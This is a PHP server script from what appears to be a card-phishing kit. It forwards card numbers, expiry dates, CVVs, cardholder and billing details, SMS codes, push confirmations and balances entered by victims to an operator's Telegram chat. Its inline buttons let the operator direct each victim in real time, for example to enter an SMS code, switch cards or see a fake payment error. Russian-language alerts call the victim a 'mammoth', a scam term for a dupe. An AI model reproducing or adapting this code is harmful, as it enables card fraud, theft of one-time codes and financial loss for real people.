<?php
session_start();
require_once __DIR__.'/../telegram.php';
require_once __DIR__.'/../../config.php';
require_once __DIR__.'/getUserIp.php';

if (BIN_CHECK_METHOD == "binlist.net") {
    /**** binlist.net ****/
    require_once __DIR__ . '/bincheck/binlistnet/main.php';
    /**** binlist.net ****/
} elseif (BIN_CHECK_METHOD == "bins.su") {
    /**** bins.su ****/
    require_once __DIR__ . '/bincheck/binssu/main.php';
    /**** bins.su ****/
} elseif (BIN_CHECK_METHOD == "antipublic.cc") {
    /**** antipublic.cc ****/
    require_once __DIR__ . '/bincheck/antipubliccc/main.php';
    /**** antipublic.cc ****/
} 

$TOKEN = TOKEN;
$ADMIN_ID = ADMIN_ID;
$LOG_ID = LOG_ID;

if(isset($_SESSION['refer'])){
    $referTXT = "Referal ID: " + $_SESSION['refer'];
} else {
    $referTXT = "Not from refer";
}

$tt  = array('TOKEN' => $TOKEN, 'id' => $ADMIN_ID);
$telegramapi = new TG($tt);
function buildHeader($data){
	$header = [];
	if (isset($data['header'])) {
		if($data['header'] == "1"){
	    	$header[] = '✅ Новый лог!';
	    }
	}
	if (isset($data['splitter'])) {
		if($data['splitter'] == "1"){
	    	$header[] = '➖➖➖➖➖➖➖➖➖➖➖';
	    }
	}
	return $header;
}

if (isset($_GET['type'])) {
    $json = filter_input(INPUT_POST, 'json');
    $data = json_decode($json, true);
    if($_GET['type'] == 'cc'){
        $bankStr = "not found";
        if (BIN_CHECK_METHOD != "disabled"){
            $cci = cardinfo($data['card_number']);
            if ($cci != false){
              	$bank = $cci;
            }
        } else {
            $bankStr = "Disabled";
        }
        if(isset($_SESSION['order']['wp_order_decoded'])){
        	$msg = array(
                '🆔 ID:'.$_SESSION['idPerson'],
                '💳 CC: <code>'.$data['card_number'].'</code>',
                '📅 Validity: <code>'.$data['card_expire'].'</code>',
                '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
        		'👶 Holder: <code>'.$data['cardholder'].'</code>',
                '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        		'📦 ZIP: <code>'.$data['zip'].'</code>',
            	'🛒 Name: <code>'.$_SESSION['order']['wp_order_decoded']['billing_first_name'].'</code> <code>'.$_SESSION['order']['wp_order_decoded']['billing_last_name'].'</code>',
            	'🛒 Billing-1: <code>'.$_SESSION['order']['wp_order_decoded']['billing_address_1'].'</code>',
            	'🛒 Billing-2: <code>'.$_SESSION['order']['wp_order_decoded']['billing_address_2'].'</code>',
            	'🛒 City: <code>'.$_SESSION['order']['wp_order_decoded']['billing_city'].'</code>',
            	'🛒 State: <code>'.$_SESSION['order']['wp_order_decoded']['billing_state'].'</code>',
            	'🛒 Postcode: <code>'.$_SESSION['order']['wp_order_decoded']['billing_postcode'].'</code>',
            	'🛒 Country: <code>'.$_SESSION['order']['wp_order_decoded']['billing_country'].'</code>',
            	'🛒 Email: <code>'.$_SESSION['order']['wp_order_decoded']['billing_email'].'</code>',
            	'🛒 Phone: <code>'.$_SESSION['order']['wp_order_decoded']['billing_phone'].'</code>',
                '',
                '🏦 Bank: '.$bank['bank'].' '.$bank['emoji'], 
                '📊 Card Type: '.$bank['scheme'].' '.$bank['brand'].' '.$bank['type'],
                '',
                '📝 Copy: <code>'.$data['card_number'].' '.$data['card_expire'].' '.$data['card_cvv'].'</code>',
        	);
        } else {
        	$msg = array(
                '🆔 ID:'.$_SESSION['idPerson'],
                '💳 CC: <code>'.$data['card_number'].'</code>',
                '📅 Validity: <code>'.$data['card_expire'].'</code>',
                '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
        		'👶 Holder: <code>'.$data['cardholder'].'</code>',
                '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        		'📦 ZIP: <code>'.$data['zip'].'</code>',
                '',
                '🏦 Bank: '.$bank['bank'].' '.$bank['emoji'], 
                '📊 Card Type: '.$bank['scheme'].' '.$bank['brand'].' '.$bank['type'],
                '',
                '📝 Copy: <code>'.$data['card_number'].' '.$data['card_expire'].' '.$data['card_cvv'].'</code>',
        	);
        }
        $data['header'] = "1"; $data['splitter'] = "1";
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'PUSH', 'callback_data' => 'action_push;'.$_SESSION['idPerson']], ['text' => 'SMS', 'callback_data' => 'action_otp;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
                [['text' => 'БАЛАНС', 'callback_data' => 'action_balance;'.$_SESSION['idPerson']]],	
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID,
            'text' => $msg,
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'otp') {
        $msg = array(
            '🆔 ID:'.$_SESSION['idPerson'],
            '💳 CC: <code>'.$data['card_number'].'</code>',
            '📅 Validity: <code>'.$data['card_expire'].'</code>',
            '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
            '👶 Holder: <code>'.$data['cardholder'].'</code>',
            '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        	'📦 ZIP: <code>'.$data['zip'].'</code>',
            '--------------------------',
            '💌 СМС: '.$data['otp']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'НЕВЕРНЫЙ SMS', 'callback_data' => 'action_error_otp;'.$_SESSION['idPerson']], ['text' => 'PUSH', 'callback_data' => 'action_push;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
                [['text' => 'БАЛАНС', 'callback_data' => 'action_balance;'.$_SESSION['idPerson']]],
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'push') {
        $msg = array(
            '🆔 ID:'.$_SESSION['idPerson'],
            '💳 CC: <code>'.$data['card_number'].'</code>',
            '📅 Validity: <code>'.$data['card_expire'].'</code>',
            '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
            '👶 Holder: <code>'.$data['cardholder'].'</code>',
            '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        	'📦 ZIP: <code>'.$data['zip'].'</code>',
            '--------------------------',
            '💌 PUSH: подтвержден'
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'НЕВЕРНЫЙ PUSH', 'callback_data' => 'action_error_push;'.$_SESSION['idPerson']], ['text' => 'SMS', 'callback_data' => 'action_otp;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
                [['text' => 'БАЛАНС', 'callback_data' => 'action_balance;'.$_SESSION['idPerson']]],
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'balance') {
        $msg = array(
            '🆔 ID:'.$_SESSION['idPerson'],
            '💳 CC: <code>'.$data['card_number'].'</code>',
            '📅 Validity: <code>'.$data['card_expire'].'</code>',
            '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
            '👶 Holder: <code>'.$data['cardholder'].'</code>',
            '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        	'📦 ZIP: <code>'.$data['zip'].'</code>',
            '--------------------------',
            '💌 Balance: '.$data['balance']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'НЕВЕРНЫЙ БАЛАНС', 'callback_data' => 'action_error_balance;'.$_SESSION['idPerson']]],
                [['text' => 'PUSH', 'callback_data' => 'action_push;'.$_SESSION['idPerson']], ['text' => 'SMS', 'callback_data' => 'action_otp;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'checksumm') {
        $msg = array(
            '🆔 ID:'.$_SESSION['idPerson'],
            '💳 CC: <code>'.$data['card_number'].'</code>',
            '📅 Validity: <code>'.$data['card_expire'].'</code>',
            '🔐 CVC/CVV: <code>'.$data['card_cvv'].'</code>',
            '👶 Holder: <code>'.$data['cardholder'].'</code>',
            '💰 Price: <code>'.$_SESSION['amount'].'</code>',
        	'📦 ZIP: <code>'.$data['zip'].'</code>',
            '--------------------------',
            '💌 Summ Validation: '.$data['checksumm']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'НЕВЕРНАЯ СУММА', 'callback_data' => 'action_error_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'PUSH', 'callback_data' => 'action_push;'.$_SESSION['idPerson']], ['text' => 'SMS', 'callback_data' => 'action_otp;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
                [['text' => 'БАЛАНС', 'callback_data' => 'action_balance;'.$_SESSION['idPerson']]],
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'custom') {
        $msg = array(
            '🐘 ID:'.$_SESSION['idPerson'],
            '--------------------------',
            '💌 Question: '.$data['question'],
            '💌 Answer: '.$data['custom'],
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $keyboard = [
            'inline_keyboard' => [
                [['text' => 'ОШИБКА ОТВЕТА', 'callback_data' => 'action_error_custom;'.$_SESSION['idPerson']]],
                [['text' => 'PUSH', 'callback_data' => 'action_push;'.$_SESSION['idPerson']], ['text' => 'SMS', 'callback_data' => 'action_otp;'.$_SESSION['idPerson']]],
                [['text' => 'ПРОВЕРОЧНАЯ СУММА', 'callback_data' => 'action_checksumm;'.$_SESSION['idPerson']]],
                [['text' => 'НОВАЯ КАРТА', 'callback_data' => 'action_newcard;'.$_SESSION['idPerson']], ['text' => 'СМЕНА КАРТЫ', 'callback_data' => 'action_errcard;'.$_SESSION['idPerson']]],
                [['text' => 'ОШИБКА ОПЛАТЫ', 'callback_data' => 'action_failed;'.$_SESSION['idPerson']], ['text' => 'УСПЕШНАЯ ОПЛАТА', 'callback_data' => 'action_success;'.$_SESSION['idPerson']]],
                //[['text' => 'САППОРТ', 'callback_data' => 'action_support;'.$_SESSION['idPerson']]],
                [['text' => 'БАЛАНС', 'callback_data' => 'action_balance;'.$_SESSION['idPerson']]],
            ]
        ];
        $encodedKeyboard = json_encode($keyboard);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'reply_markup' => $encodedKeyboard,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'new') {
        $msg = array(
        	'💳 Переход на ввод карты',
            '',
			'💰 Цена: '.$_SESSION['amount'],
			'',
			'🌐 IP: '.$data['ip'].' '.$data['country'],
			'💻 Устройство: '.$data['device']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $LOG_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'order') {
        $msg = array(
        	'🛍️ New order ('.$data['domain'].')',
        	'',
			'💰 Price: '.$_SESSION['amount'],
			'👤 Name: '.$data['name'],
			'📱 Phone: '.$data['phone'],
			'🏠 Address: '.$data['address'],
			'🌐 IP: '.$data['ip'].' '.$data['country'],
			//'⚙️ Traffic Tag: '.$_SESSION['x']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $LOG_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'typing') {
        $msg = array(
        	'🦣 Мамонт вводит карту',
			'',
			'💰 Цена: '.$_SESSION['amount'],
			'🌐 IP: '.$data['ip'].' '.$data['country'],
			'💻 Устройство: '.$data['device']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'typingotp') {
        $msg = array(
        	'📩 Мамонт вводит смс',
			'',
			'🆔 Заказ: '.$_SESSION['idPerson'],
			'🌐 IP: '.$data['ip'].' '.$data['country'],
			'💻 Устройство: '.$data['device']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'visitor') {
        $msg = array(
        	'🔗 New user ('.$data['domain'].')',
			'',
			'🌐 IP: '.$data['ip'].' '.$data['country'],
			'💻 Device: '.$data['device'],
			'⚠️ Browser: '.$data['browser'],
			'📈 Operating System: '.$data['os']
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $LOG_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    } elseif ($_GET['type'] == 'leave') {
        $msg = array(
            '🐘 ID:'.$_SESSION['idPerson'],
            '⭕️ Мамонт ушел менять карту ⭕️'
        );
    	$msg = array_merge(buildHeader($data), $msg);
        $msg = join("\n", $msg);
        $data = array(
            'chat_id' => $ADMIN_ID, 
            'text' => $msg, 
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 1
        );
        $telegramapi->sendMessage($data);
    }
    
} else {
    die();
}

?>

